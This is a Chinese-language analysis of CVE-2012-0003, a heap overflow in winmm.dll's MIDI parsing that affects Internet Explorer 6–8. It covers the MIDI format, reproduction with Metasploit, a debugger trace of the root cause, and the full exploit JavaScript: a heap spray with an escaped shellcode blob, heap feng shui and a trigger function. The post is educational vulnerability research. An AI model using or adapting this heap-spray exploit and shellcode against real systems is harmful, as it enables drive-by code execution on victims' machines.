漏洞分析丨cve-2012-0003
作者:黑蛋
一、漏洞简介
这次漏洞属于堆溢出漏洞，他是MIDI文件中存在的堆溢出漏洞。在IE6，IE7，IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。
二、漏洞环境
虚拟机 | 调试工具 | 目标软件 | 辅助工具 |
XP-SP3、Kali | OD、IDA | IE6 | Windbg组件gflags.exe |
三、MIDI文件简介
MIDI文件属于二进制文件，这种文件一般都有如下基本结构：文件头+数据描述 文件头一般包括文件的类型，因为Midi文件仅以。mid为扩展名的就有0类和1类两种，而大家熟悉的位图文件的格式就更多了，所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。
结构图如下：
块名称 | 块标记（四字节） | 块长度（四字节） | 块数据 |
头块 | “MThd” | 00000006 | 6字节长度 |
音轨块1 | “MTrk” | 后面块数据长度 | 音轨事件数据 |
... | ... | ... | ... |
音轨块n | “MTrk” | 后面块数据长度 | 音轨事件数据 |
头结构：
偏移 | 长度 | 描述 | 数值 |
0x00 | 4 | 块标记 | “MThd” |
0x04 | 4 | 块长度 | 00000006 |
0x08 | 2 | 格式类型 | 0~2 |
0x10 | 2 | 音轨数 | 1~65535 |
0x12 | 2 | 每拍的计数值 | 0x60为八分一拍 |
音轨事件：
事件类型 | 格式 | 描述 |
关闭音符(Note Off) | 0x8n note velocity | n 代表通道号，note 代表高音数值，velocity 代表按键速度 |
打开音符(Note On) | 0x9n note velocity | n 代表通道号，note 代表高音数值，velocity 代表按键速度 |
触后音符(Note Aftertouch) | 0xAn note amount | n 代表通道号，note 代表高音数值，amount 代表按压力度 |
控制器(Controler) | 0xBn type value | n 代表通道号，note 代表控制项(如主音、延音等音量大小的调节)，value 即为设置值 |
音色切换(Program Change) | 0xCn num | n 代表通道号，num 代表音色号 |
触后通道(Channel Afertouch) | 0xCn note amount | n 代表通道号，note 代表高音数值，amount 代表按压力度 |
滑音(Pitch Bend) | 0xEn LSB MSB | n 代表通道号，LSB 代表低位值，MSB 代表高位值 |
四、漏洞复现
使用MSF生成exp：
使用箭头指向的链接地址，在XP-SP3中使用IE打开：
五、漏洞溯源
首先通过Windbg中一个组件gflags.exe开启IE页堆保护：
接下来找一个mid文件，或者用以下命令在kali中下载：
wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径
然后用IE继续打开之前拷贝的链接地址，出现错误，右键页面打开源文件，修改mid文件位置为绝对路径，之后另存为html文件，把mid文件放相同目录下（这样可以让winmm.dll解析mid文件触发漏洞）：
接下来打开IE，再打开OD附加IE，随后拖拽1.html到IE中，在IE上方选择允许运行，断在了溢出位置：
查看各模块基址，可以发现溢出点76B2D224属于winmm.dll，随后找到此动态链接库，拖到IDA中，找到76B2D224，F5反汇编：
接下来分析这段代码，看看v26来源：
void __stdcall sub_76B2D038(int a1)
{
int v1; // edi@1
int v2; // esi@2
int v3; // ecx@5
int v4; // eax@5
bool v5; // zf@5
bool v6; // sf@5
unsigned __int8 v7; // of@5
int v8; // edx@6
int v9; // ebx@6
int v10; // ST18_4@6
unsigned int v11; // ecx@6
unsigned int v12; // eax@6
int v13; // ecx@6
unsigned __int8 v14; // al@9
signed int v15; // eax@14
int v16; // ebx@16
int v17; // esi@18
int v18; // eax@18
int v19; // ST18_4@25
int v20; // esi@26
unsigned __int8 v21; // al@27
unsigned int v22; // ebx@28
__int64 v23; // rax@32
int v24; // eax@32
int v25; // esi@34
char v26; // al@34
char v27; // dl@34
char v28; // al@36
int v29; // edx@40
char v30; // al@40
char v31; // al@42
int v32; // [sp+4h] [bp-14h]@6
int v33; // [sp+8h] [bp-10h]@6
int v34; // [sp+Ch] [bp-Ch]@6
int v35; // [sp+10h] [bp-8h]@6
char v36; // [sp+17h] [bp-1h]@30
int v37; // [sp+20h] [bp+8h]@5
signed int v38; // [sp+20h] [bp+8h]@17
char v39; // [sp+23h] [bp+Bh]@6
unsigned __int8 v40; // [sp+23h] [bp+Bh]@28
v1 = a1;
if ( !*(_DWORD *)(a1 + 52) )
{
while ( 1 )
{
while ( 1 )
{
v2 = *(_DWORD *)(v1 + 60);
if ( !v2 )
return;
if ( sub_76B2CA8A(v1) )
break;
sub_76B2CAC7(v1);
}
v3 = *(_DWORD *)v2;
v4 = *(_DWORD *)(v1 + 124) + *(_DWORD *)(*(_DWORD *)v2 + *(_DWORD *)(v2 + 36));
v7 = __OFSUB__(v4, *(_DWORD *)(v1 + 128));
v5 = v4 == *(_DWORD *)(v1 + 128);
v6 = v4 - *(_DWORD *)(v1 + 128) < 0;
v37 = *(_DWORD *)v2;
*(_DWORD *)(v1 + 116) = v4;
if ( !((unsigned __int8)(v6 ^ v7) | v5) )
return;
v8 = *(_DWORD *)(v2 + 36);
*(_DWORD *)(v1 + 124) = v4;
*(_DWORD *)(v2 + 36) += 4;
v9 = *(_DWORD *)(v2 + 36);
v10 = *(_DWORD *)(v9 + v3);
v9 += 4;
v33 = v8;
v32 = v10;
*(_DWORD *)(v2 + 36) = v9;
v34 = sub_76B2C7F7(v1, v10);
v11 = *(_DWORD *)(v9 + v37);
*(_DWORD *)(v2 + 36) = v9 + 4;
v12 = v11 >> 24;
v13 = v11 & 0xFFFFFF;
v39 = v12;
v35 = v13;
if ( v34 && v12 & 0x40 )
{
*(_DWORD *)(v2 + 28) = v33;
DriverCallback(*(_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0);
LOBYTE(v12) = v39;
v13 = v35;
}
v14 = v12 & 0xBF;
if ( v14 )
{
if ( v14 == 1 )
{
v19 = *(_DWORD *)(v1 + 124);
*(_DWORD *)(v1 + 48) = v13;
sub_76B2CA24(v1, v19);
}
else if ( v14 == 128 )
{
*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
v15 = 1;
if ( v32 == -1 )
v15 = *(_DWORD *)(v1 + 140);
v16 = *(_DWORD *)(v2 + 24);
*(_DWORD *)(v1 + 136) = 0;
*(_DWORD *)(v1 + 8) |= 0x20u;
*(_DWORD *)(v1 + 52) = 1;
if ( v15 )
{
v38 = v15;
do
{
v17 = *(_DWORD *)(v16 + 4);
*(_DWORD *)(v16 + 4) = v17 + 64;
v18 = sub_76B2C7F7(v1, *(_DWORD *)(v17 + 32));
if ( v18 && !midiOutLongMsg(v18, v17, 64) )
++*(_DWORD *)(v1 + 136);
--v38;
}
while ( v38 );
}
if ( !*(_DWORD *)(v1 + 136) )
*(_DWORD *)(v1 + 52) = 0;
*(_DWORD *)(v1 + 8) &= 0xFFFFFFDF;
}
else if ( (v14 & 0x80u) != 0 )
{
*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
}
goto LABEL_48;
}
v20 = *(_DWORD *)(v1 + 132);
if ( v34 )
break;
do
{
LABEL_48:
if ( sub_76B2CA8A(v1) )
break;
sub_76B2CAC7(v1);
}
while ( *(_DWORD *)(v1 + 60) );
if ( *(_DWORD *)(v1 + 52) )
return;
}
v21 = v13;
if ( (char)v13 < 0 )
{
*(_BYTE *)(v1 + 84) = v13;
v40 = BYTE1(v13);
v22 = (unsigned int)v13 >> 16;
}
else
{
v21 = *(_BYTE *)(v1 + 84);
v40 = v13;
v22 = (unsigned int)v13 >> 8;
v13 = v21 | (v13 << 8);
}
v36 = v21 & 0xF0;
if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 )
{
v23 = v40 + ((v21 & 0xF) << 7);
v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;
if ( v36 == -128 || !(_BYTE)v22 )
{
v29 = v24 + v20;
v30 = *(_BYTE *)(v24 + v20);
if ( v40 & 1 )
{
if ( !(v30 & 0xF0) )
goto LABEL_46;
v31 = v30 - 16;
}
else
{
if ( !(v30 & 0xF) )
goto LABEL_46;
v31 = v30 - 1;
}
*(_BYTE *)v29 = v31;
goto LABEL_46;
}
v25 = v24 + v20;
v26 = *(_BYTE *)v25; // 这里
v27 = *(_BYTE *)v25;
if ( v40 & 1 )
{
if ( (v27 & 0xF0) != -16 )
{
v28 = v26 + 16;
LABEL_39:
*(_BYTE *)v25 = v28;
goto LABEL_46;
}
}
else if ( (v27 & 0xF) != 15 )
{
v28 = v26 + 1;
goto LABEL_39;
}
}
LABEL_46:
midiOutShortMsg(v34, v13);
goto LABEL_48;
}
}
根据分析，可以得到以下几个局部变量和寄存机关系以及相对于的地址：
V1 = edi 76B2D050
V2 = esi 76B2D06D
v9 = ebx 76B2D0B5
V11= ecx 76B2D0C3
V13= ecx 76B2D0D1
V20 = esi 76B2D248
V21 = dl 76B2D1F3
V24= eax 76B2D21E
a1 = edi 76B2D044
在OD附加IE后，运行起来，找到以上地址下条件断点：
然后跑起来，拖入1.html，到达溢出点，Alt+L查看日志：
可以发现在溢出前，v11=v13=007DB29F，是在相应位置下条件断点：
随后拖入1.html，断在了断点处，溢出点是读取ESI位置出现异常，我们向上观察ESI的值的来源，76B2D21E处是ADD ESI，EAX：
回到IDA中，对ESI溯源：
发现v20的值来源于参数a1+132；找a1的来源，看函数引用：
继续找v6：
继续找v7，正好可以看到v7+132的值：
继续跟进去sub_76B2B29D:
综上，可以看到ESI的值指向一个1024（0x400)字节的堆空间，返回到溢出位置，ESI+0x419超出0x400，所以造成溢出。
五、漏洞利用
首先我们对exp中的JS代码进行提取：
//堆喷射技术
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");
var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c";
var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
这一堆代码就是构造一堆0c0c0c0c+shellcode的堆喷射代码。
var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
这一块是创建一个select元素，并设置第一个属性为String“0x0C0C0C0C”，其他55个为Object属性。随后创建一个1000字节数组在堆空间中，循坏拷贝selob到数组中，然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间：
这样空闲堆块前后都是我们自己的数据，而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里，String在内存中用0x08代表，Object用0x09代表。
最后调用 trigger()函数，是遍历数组元素，若属性是Object，就执行clones[k].w0('come on!')，而在这里会调用CAttrValue::GetIntoVariant函数，这个函数会获取续表指针，调用虚表函数。
这里是溢出点，在溢出点的时候AL=0x08，是String，而在代码下方箭头地址指向代码Al+1=0x09，后续调用Trigger函数，走到clones[k].w0('come on!')，而这个语句会调用虚表，每一个对象前四个字节都是虚表地址，及0C0C0C0C,从而走到我们构造的堆里面运行shellcode，下面是取消页堆，然后再溢出点下断点，走到下方AL+1的位置：
我们看一下堆喷地址0x0C0C0C0C：
这一块都是0C0C0C0C+shellcode，一直重复的地址。继续走，可以看到计算器被弹出：
